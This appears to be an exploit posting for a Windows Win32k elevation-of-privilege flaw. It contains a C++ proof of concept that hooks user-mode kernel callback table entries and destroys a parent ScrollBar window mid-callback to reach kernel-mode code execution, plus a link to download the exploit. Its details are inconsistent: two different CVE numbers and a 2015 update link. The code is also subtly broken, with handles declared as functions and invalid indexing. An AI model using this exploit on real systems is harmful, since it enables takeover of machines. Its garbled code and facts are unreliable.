

Microsoft Windows Win32k Privilege Escalation

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Microsoft Windows Win32k privilege escalation exploit. An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.

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Vendor: Microsoft
Software Link:
https://support.microsoft.com/en-us/help/3095649/win32k-sys-update-in-windows-october-2015
Exploit link:
https://github.com/nullsecurity/Windows10Exploits/raw/master/Undefined/CVE-2020-0624/win32k/_32-win32k.sys.1.2600.1330.zip
CVE: CVE-2020-0642

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[Exploit Program Code]

// cve-2020-0624.cpp

#pragma warning(disable: 4005)
#pragma warning(disable: 4054)
#pragma warning(disable: 4152)
#pragma warning(disable: 4201)

#include <Windows.h>
#include "ntos.h"

typedef NTSTATUS (NTAPI* PPNUSER32CALLBACK) (PVOID);

HWND hParent(), hChild();
BOOL Flag1(), Flag2();

PPNUSER32CALLBACK OrgCCI2(), OrgCCI3();

NTSTATUS NTAPI NewCCI2(PVOID Param)
{
 if (Flag1)
 {
 Flag1 = FALSE;
 Flag2 = TRUE;
 DestroyWindow(hParent);
 }
 return OrgCCI2(Param);
}
NTSTATUS NTAPI NewCCI3(PVOID Param)
{
 if (Flag2)
 {
 ExitThread(0);
 }
 return OrgCCI3(Param);
}
int main()
{
 DWORD OldProtect{};

 PTEB teb = NtCurrentTeb();
 PPEB peb = teb->ProcessEnvironmentBlock;
 PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)(2);
 if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
 return 0;
 OrgCCI2 = (PPNUSER32CALLBACK) InterlockedExchangePointer(&(PVOID*)pCCI2, &NewCCI2);

 PVOID pCCI3 = &((PVOID*)peb->KernelCallbackTable)(3);
 if (!VirtualProtect(pCCI3, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
 return 0;
 OrgCCI3 = (PPNUSER32CALLBACK) InterlockedExchangePointer(&(PVOID*)pCCI3, &NewCCI3);

 hParent = CreateWindow(L"ScrollBar", L"Parent", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, NULL, NULL, NULL);
 hChild = CreateWindow(L"ScrollBar", L"Child", WS_OVERLAPPEDWINDOW | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, 0, NULL, NULL);
 Flag1 = TRUE;
 SendMessage(hChild, WM_LBUTTONDOWN, 0, 0);
 return 0;
}

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Privilege Escalation

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- - - more: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0642

[Disclosure Timeline]
An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
The update addresses this vulnerability by correcting how Win32k handles objects in memory.

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